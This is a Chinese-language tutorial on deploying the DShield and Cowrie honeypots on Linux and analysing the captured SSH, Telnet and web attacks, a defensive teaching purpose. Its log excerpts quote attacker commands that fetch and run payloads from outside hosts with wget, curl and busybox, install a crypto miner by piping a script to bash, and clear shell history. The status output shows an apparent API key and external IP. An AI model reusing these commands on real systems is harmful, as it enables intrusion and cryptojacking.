在 Linux 環境中佈署蜜罐,能有效誘捕攻擊者、延遲攻擊並提供早期預警。DShield 專案提供社群式的蜜罐解決方案,透過收集和分享攻擊資料,強化整體網路安全防禦。Cowrie 蜜罐則模擬 SSH 和 Telnet 服務,記錄攻擊者的登入嘗試和指令執行,提供更細緻的攻擊行為分析。除了 SSH 和 Telnet 蜜罐,網頁蜜罐也扮演重要角色,透過分析網頁存取日誌和攻擊特徵,能有效偵測針對 Web 伺服器的攻擊,例如探測特定漏洞或惡意程式碼上傳。設定蜜罐時,需謹慎組態網路介面和防火牆規則,避免蜜罐本身成為攻擊跳板。分析蜜罐日誌,例如攻擊者使用的 IP 位址、連線埠、指令等,能幫助瞭解攻擊模式和手法,進而強化系統安全設定和入侵偵測機制。
在 Linux 上佈署 456 個蜜罐服務
讓我們將焦點從內部網路及相關的內部和 DMZ 蜜罐轉移到研究導向的蜜罐。
分散式/社群蜜罐 – 網際網路風暴中心(Internet Storm Center)的 DShield 蜜罐專案
首先,從您的主機取得當前的日期和時間。任何嚴重依賴日誌的活動都需要準確的時間:
# date
Fri 16 Jul 2021 03:00:38 PM EDT
如果您的日期/時間不正確或組態不可靠,您需要在開始之前進行修復 – 這幾乎適用於任何作業系統中的任何服務。
接下來,變更到安裝目錄,然後使用 git 下載應用程式。如果您沒有 git,請使用標準的 sudo apt-get install git 命令進行安裝,就像我們在本文中一直使用的方法一樣。一旦 git 安裝完成,以下命令將在當前工作目錄下建立一個 dshield 目錄:
git clone https://github.com/DShield-ISC/dshield.git
內容解密:
此步驟使用 git clone 命令從指定的 GitHub 倉函式庫下載 DShield 蜜罐專案到本地。確保您已安裝 git,並且網路連線正常。
然後,執行安裝指令碼:
cd dshield/bin
sudo ./install.sh
內容解密:
這裡切換到 dshield/bin 目錄,並使用 sudo 許可權執行 install.sh 指令碼。安裝過程中會出現多個輸入畫面,需要根據提示進行相應的組態。
在安裝過程中,會出現幾個重要的輸入畫面:
首先,會出現有關蜜罐日誌包含敏感資訊的警告,包括來自您的環境和攻擊者的資訊。
下一個安裝畫面提到該專案主要在 Raspberry Pi 平台上進行測試,但它也可以安裝在大多數常見的 Linux 發行版上。
接著,會出現另一個警告,說明收集的資料將成為網際網路風暴中心的 DShield 專案的一部分。您的資料在合併到更大的資料集時會被匿名化,但如果您的組織不願意分享安全資料,那麼這個專案可能不適合您。
系統會詢問您是否要啟用自動更新。預設情況下會啟用自動更新,除非您有非常充分的理由,否則建議保持預設設定。
系統會要求您輸入電子郵件地址和 API 金鑰,用於資料提交過程。您可以透過登入 https://isc.sans.edu 網站並檢視您的帳戶狀態來取得 API 金鑰。
您還需要選擇蜜罐要監聽的介面。通常情況下,只有一介面 – 您絕對不希望蜜罐繞過您的防火牆控制!
需要輸入 HTTPS 蜜罐的憑證資訊。如果您希望對攻擊者保持一定的匿名性,可以在這些欄位中填寫虛假資訊。在此範例中,我們展示了大多數合法的資訊。請注意,在撰寫本文時,HTTPS 蜜罐尚未實作,但它正在規劃階段。
系統會詢問您是否要安裝憑證授權單位(CA)。在大多數情況下,選擇「是」是合理的 – 這將在 HTTPS 服務上安裝自簽名憑證。
最後的畫面會重新啟動主機,並通知您實際的 SSH 服務將更改為不同的連線埠。
重新啟動後,請檢查蜜罐狀態。請注意,感測器安裝在 /srv/dshield:
$ sudo /srv/dshield/status.sh
[sudo] password for hp01:
#########
### DShield Sensor Configuration and Status Summary
#########
Current Time/Date: 2021-07-16 15:27:00
API Key configuration ok
Your software is up to date.
Honeypot Version: 87
###### Configuration Summary ######
E-mail : [email protected]
API Key: 4BVqN8vIEDjWxZUMziiqfQ==
User-ID: 948537238
My Internal IP: 192.168.122.169
My External IP: 99.254.226.217
###### Are My Reports Received? ######
Last 404/Web Logs Received:
Last SSH/Telnet Log Received:
Last Firewall Log Received: 2014-03-05 05:35:02
###### Are the submit scripts running?
Looks like you have not run the firewall log submit script yet.
###### Checking various files
OK: /var/log/dshield.log
OK: /etc/cron.d/dshield
OK: /etc/dshield.ini
OK: /srv/cowrie/cowrie.cfg
OK: /etc/rsyslog.d/dshield.conf
OK: firewall rules
ERROR: webserver not exposed. check network firewall
內容解密:
此命令檢查 DShield 感測器的組態和狀態摘要,包括目前時間/日期、API 金鑰組態、軟體版本等。它還檢查各種檔案和防火牆規則的狀態。在此範例中,錯誤訊息指出 Web 伺服器未暴露,需要檢查網路防火牆。
為了確保您的報告正在被提交,請在一兩個小時後檢查 https://isc.sans.edu/myreports.html(您需要登入)。
當瀏覽器指向蜜罐的位址時,他們將看到以下內容:
網路介面和日誌提交
在我的例子中,我將把它放在 DMZ 中,只允許對 22/tcp、80/tcp 和 443/tcp 連線埠的入站存取。在進行此更改後,我們的狀態檢查現在透過:
###### Checking various files
OK: /var/log/dshield.log
OK: /etc/cron.d/dshield
OK: /etc/dshield.ini
OK: /srv/cowrie/cowrie.cfg
OK: /etc/rsyslog.d/dshield.conf
OK: firewall rules
OK: webserver exposed
內容解密:
這裡檢查了各種檔案和防火牆規則的狀態,所有檢查都透過,表明 Web 伺服器已正確暴露。
總之,本章節詳細介紹瞭如何在 Linux 上佈署 DShield 蜜罐,包括安裝、組態和檢查狀態等步驟。透過這些步驟,您可以成功佈署一個研究導向的蜜罐,為網路安全研究提供有價值的資料。
分散式/社群蜜罐 - 網際網路風暴中心(Internet Storm Center)的DShield蜜罐專案
在蜜罐伺服器上,您可以觀察到各種登入會話,因為攻擊者取得了偽造的SSH和Telnet伺服器的存取許可權。在/srv/cowrie/var/log/cowrie目錄下,您會找到cowrie.json和cowrie.log檔案(以及前幾天的日期版本):
$ pwd
/srv/cowrie/var/log/cowrie
$ ls
cowrie.json cowrie.json.2021-07-18 cowrie.log cowrie.log.2021-07-16 cowrie.log.2021-07-17 cowrie.log.2021-07-18
cowrie.json.2021-07-16 cowrie.json.2021-07-17 cowrie.log.2021-07-16
內容解密:
/srv/cowrie/var/log/cowrie是Cowrie蜜罐的日誌檔案儲存路徑。cowrie.json和cowrie.log是主要的兩個日誌檔案,分別儲存結構化的JSON格式日誌和純文字格式的日誌。- 日期版本的檔案是前幾天的日誌備份,用於歷史記錄和長期分析。
JSON檔案的格式設計用於讓程式讀取,例如Python指令碼可以將這些資訊饋送到安全資訊和事件管理(SIEM)系統或其他「下一階段」的防禦工具。純文字的日誌檔案則容易閱讀,可以使用more或less等Linux常見的文字檢視工具開啟。
分析日誌內容
讓我們來看看一些有趣的日誌條目。新的會話啟動時,會在日誌中記錄,如下所示:
2021-07-19T00:04:26.774752Z [cowrie.telnet.factory.HoneyPotTelnetFactory] New connection: 27.213.102.95:40579 (192.168.126.20:2223) [session: 3077d7bc231f]
2021-07-19T04:04:20.916128Z [cowrie.telnet.factory.HoneyPotTelnetFactory] New connection: 116.30.7.45:36673 (192.168.126.20:2223) [session: 18b3361c21c2]
2021-07-19T04:20:01.652509Z [cowrie.ssh.factory.CowrieSSHFactory] New connection: 103.203.177.10:62236 (192.168.126.20:2222) [session: 5435625fd3c2]
內容解密:
- 日誌條目顯示了新的連線嘗試,包括協定(Telnet或SSH)、來源IP位址和連線埠號碼,以及會話ID。
- 這些資訊對於追蹤和分析攻擊者的行為至關重要。
我們還可以查詢攻擊者嘗試執行的命令。在以下範例中,攻擊者試圖下載額外的Linux工具或惡意軟體:
2021-07-19T02:31:55.443537Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,5,141.98.10.56] Command found: wget http://142.93.105.28/a
2021-07-17T11:44:11.929645Z [CowrieTelnetTransport,4,58.253.13.80] CMD: cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://58.253.13.80:60232/i; curl -O http://58.253.13.80:60232/i; /bin/busybox wget http://58.253.13.80:60232/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'
內容解密:
- 第一個範例顯示攻擊者使用
wget下載檔案。 - 第二個範例展示了一系列命令,包括嘗試下載檔案、修改許可權並執行下載的檔案。最後輸出的ASCII字串
\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64轉換為"connected",可能用於規避入侵防禦系統(IPS)。
加密貨幣挖礦攻擊
在其他範例中,攻擊者試圖下載加密貨幣挖礦應用程式,將新入侵的Linux主機新增到其加密貨幣挖礦「農場」中:
2021-07-19T02:31:55.439658Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,5,141.98.10.56] executing command "b'curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget http://142.93.105.28/a; chmod 777 a; ./a; rm -rfa ; history -c'"
內容解密:
- 攻擊者使用
curl下載並執行指令碼以設定加密貨幣挖礦軟體。 - 他們還嘗試下載其他檔案並清除命令歷史,以隱藏其活動。
自定義Cowrie蜜罐
您可以自定義Cowrie蜜罐,一些常見的更改位於以下位置:
線上報告
在網際網路風暴中心(ISC)帳戶線上,可以在「My Account」下找到感興趣的連結,包括SSH活動報告。
蜜罐服務於Linux上的應用與實務
在Linux系統上佈署蜜罐服務是一項重要的網路安全措施,用於誘騙和延遲攻擊者,同時向防禦者傳送警示。本章將探討蜜罐的基本型別、如何在特定情況下選擇合適的蜜罐,以及如何構建和保護它們。
SSH蜜罐的設定與日誌分析
目前,針對SSH整合資料的主要報告涉及使用的使用者ID和密碼:
這些活動都被記錄下來,因此我們不時會看到針對這些攻擊資料的研究專案,並且各種報告隨著時間的推移不斷被改進。
網頁蜜罐的組態與攻擊檢測
網頁蜜罐的組態與SSH蜜罐類別似,用於檢測各種攻擊。檢測規則儲存在/srv/www/etc/signatures.xml檔案中,並定期從Internet Storm Center的中央伺服器更新。雖然可以進行本地編輯,但這些更改可能會在下一次更新時被覆寫。
所有針對蜜罐的網頁活動都被記錄下來,本地日誌儲存在/srv/www/DB/webserver.sqlite資料函式庫(SQLite格式)中。本地日誌也可以透過在/var/log/syslog中搜尋webpy字串找到。
攻擊例項分析
在示例蜜罐中檢測到的攻擊包括以下內容:
一名攻擊者正在尋找HNAP服務。HNAP是一個經常被攻擊的協定,通常用於控制ISP資料機的艦隊,因此對HNAP的入侵往往可能導致大量裝置被入侵。
Jul 19 06:03:08 hp01 webpy[5825]: 185.53.90.19 - - [19/Jul/2021 05:34:09] "POST /HNAP1/ HTTP/1.1" 200 –內容解密:
- 這條日誌顯示攻擊者嘗試透過HNAP1介面進行POST請求。
- HNAP協定常用於管理網路裝置,這裡的攻擊可能是試圖利用已知漏洞控制目標裝置。
同一攻擊者還在探測
goform/webLogin。這裡,他們正在測試常見Linksys路由器上的最新漏洞。Jul 19 06:03:08 hp01 webpy[5825]: 185.53.90.19 - - [19/Jul/2021 05:34:09] "POST /goform/webLogin HTTP/1.1" 200 –內容解密:
- 這條日誌記錄了攻擊者嘗試透過
goform/webLogin介面進行POST請求,這可能是嘗試利用Linksys路由器的漏洞。 goform/webLogin是一個常見的管理介面,攻擊者可能試圖透過暴力破解或利用已知漏洞來取得路由器控制權。
- 這條日誌記錄了攻擊者嘗試透過
另一名攻擊者正在尋找boa web伺服器。該伺服器有一些已知漏洞,被多家網路連線的安全攝像頭製造商使用。不幸的是,boa web伺服器專案已經被放棄,因此不會有修復。
Jul 19 07:48:01 hp01 webpy[700]: 144.126.212.121 - - [19/Jul/2021 07:28:35] "POST /boaform/admin/formLogin HTTP/1.1" 200 –內容解密:
- 這條日誌顯示攻擊者嘗試透過
boaform/admin/formLogin介面進行POST請求,這可能是試圖利用boa web伺服器的漏洞。 - boa web伺服器由於其已放棄維護且存在已知漏洞,成為攻擊者的目標。
- 這條日誌顯示攻擊者嘗試透過
網路活動報告與安全防禦
這些活動報告同樣記錄在您的ISC門戶中,在「My 404 Reports」下。這些報告可以幫助識別針對特定服務(如Netgear路由器或phpmyadmin)的攻擊嘗試。
常見問題與解答
為什麼將所有65,535個TCP埠都傳送到安裝的蜜罐是一個壞主意? 將所有TCP埠都轉發到蜜罐可能會對系統資源造成巨大負擔,並可能使真正的服務無法正常執行,同時也增加了被識別為蜜罐的風險。
哪些埠組合可能用於偽裝成Windows Active Directory(AD)域控制器? 要偽裝成Windows AD域控制器,通常需要模擬其常用的服務埠,如LDAP(389)、DNS(53)等。
進一步閱讀
- Portspoof示例:https://adhdproject.github.io/#!Tools/Annoyance/Portspoof.md
- LaBrea tarpit honeypot:https://labrea.sourceforge.io/labrea-info.html
- Thinkst Canary honeypot:https://canary.tools/
- Internet Storm Center’s DShield Honeypot project:https://isc.sans.edu/honeypot.html
透過閱讀這些資源,您可以更深入地瞭解蜜罐技術及其在網路安全中的應用。